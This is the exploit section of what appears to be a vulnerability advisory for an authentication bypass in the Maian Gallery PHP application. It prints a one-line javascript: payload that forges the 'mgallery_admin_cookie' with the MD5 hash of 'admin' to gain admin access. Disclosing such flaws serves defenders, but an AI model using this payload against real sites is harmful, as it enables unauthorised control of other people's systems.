• info
• discussion
• exploit
• solution
• references

Maian Gallery 'mgallery_admin_cookie' Authentication Bypass Vulnerability

Attackers can exploit this issue using a browser.

The following example exploit is available:

javascript:document.cookie = "mgallery_admin_cookie=21232f297a57a5a743894a0e4a801fc3; path=/php/demos/mgallery/admin/"

NOTE: md5sum admin = 21232f297a57a5a743894a0e4a801fc3